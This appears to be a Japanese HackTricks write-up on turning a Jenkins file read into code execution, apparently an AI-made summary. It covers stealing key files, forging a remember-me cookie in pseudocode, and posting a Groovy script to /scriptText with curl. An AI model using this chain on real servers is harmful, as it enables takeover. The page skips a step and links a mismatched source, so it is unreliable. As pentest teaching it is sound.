Jenkins Arbitrary File Read to RCE via "Remember Me"

Reading time: 5 minutes

tip

AWSハッキングを学び、実践する:HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE) Azureハッキングを学び、実践する:HackTricks Training Azure Red Team Expert (AzRTE)

HackTricksをサポートする

このブログ投稿では、Jenkinsのローカルファイルインクルージョン脆弱性をRCEに変換する素晴らしい方法を見つけることができます: https://blog.securelayer7.net/spring-cloud-skipper-vulnerability/

これは、任意のクッキーを作成することがRCEを取得するために悪用される投稿の部分のAIによって作成された要約です。自分自身の要約を作成する時間ができるまでの間です。

Attack Prerequisites

  • Feature Requirement: "Remember me"が有効である必要があります(デフォルト設定)。
  • Access Levels: 攻撃者はOverall/Read権限が必要です。
  • Secret Access: 重要なファイルからバイナリおよびテキストコンテンツを読み取る能力。

Detailed Exploitation Process

Step 1: Data Collection

User Information Retrieval

  • 各ユーザーのために$JENKINS_HOME/users/*.xmlからユーザー設定と秘密を取得します:
  • Username
  • User seed
  • Timestamp
  • Password hash

Secret Key Extraction

  • クッキーの署名に使用される暗号鍵を抽出します:
  • Secret Key: $JENKINS_HOME/secret.key
  • Master Key: $JENKINS_HOME/secrets/master.key
  • MAC Key File: $JENKINS_HOME/secrets/org.springframework.security.web.authentication.rememberme.TokenBasedRememberMeServices.mac

Token Preparation

  • トークンの有効期限を計算:
javascript
tokenExpiryTime = currentServerTimeInMillis() + 3600000 // 現在の時間に1時間を追加
  • トークンのためのデータを連結:
javascript
token = username + ":" + tokenExpiryTime + ":" + userSeed + ":" + secretKey

MAC Key Decryption

  • MACキーのファイルを復号化:
javascript
key = toAes128Key(masterKey)  // マスターキーをAES128キー形式に変換
decrypted = AES.decrypt(macFile, key)  // .macファイルを復号化
if not decrypted.hasSuffix("::::MAGIC::::")
return ERROR;
macKey = decrypted.withoutSuffix("::::MAGIC::::")

Signature Computation

  • HMAC SHA256を計算:
javascript
mac = HmacSHA256(token, macKey) // トークンとMACキーを使用してHMACを計算
tokenSignature = bytesToHexString(mac) // MACを16進数文字列に変換

Cookie Encoding

  • 最終的なクッキーを生成:
javascript
cookie = base64.encode(
username + ":" + tokenExpiryTime + ":" + tokenSignature
) // クッキーのデータをBase64エンコード

Step 3: Code Execution

Session Authentication

  • CSRFおよびセッショントークンを取得:
  • /crumbIssuer/api/jsonにリクエストを送信してJenkins-Crumbを取得します。
  • 応答からJSESSIONIDをキャプチャし、remember-meクッキーと一緒に使用します。

Command Execution Request

  • Groovyスクリプトを使用してPOSTリクエストを送信:
bash
curl -X POST "$JENKINS_URL/scriptText" \
--cookie "remember-me=$REMEMBER_ME_COOKIE; JSESSIONID...=$JSESSIONID" \
--header "Jenkins-Crumb: $CRUMB" \
--header "Content-Type: application/x-www-form-urlencoded" \
--data-urlencode "script=$SCRIPT"
  • Groovyスクリプトは、システムレベルのコマンドやJenkins環境内の他の操作を実行するために使用できます。

提供されたcurlコマンドの例は、必要なヘッダーとクッキーを使用してJenkinsにリクエストを送信し、任意のコードを安全に実行する方法を示しています。

tip

AWSハッキングを学び、実践する:HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE) Azureハッキングを学び、実践する:HackTricks Training Azure Red Team Expert (AzRTE)

HackTricksをサポートする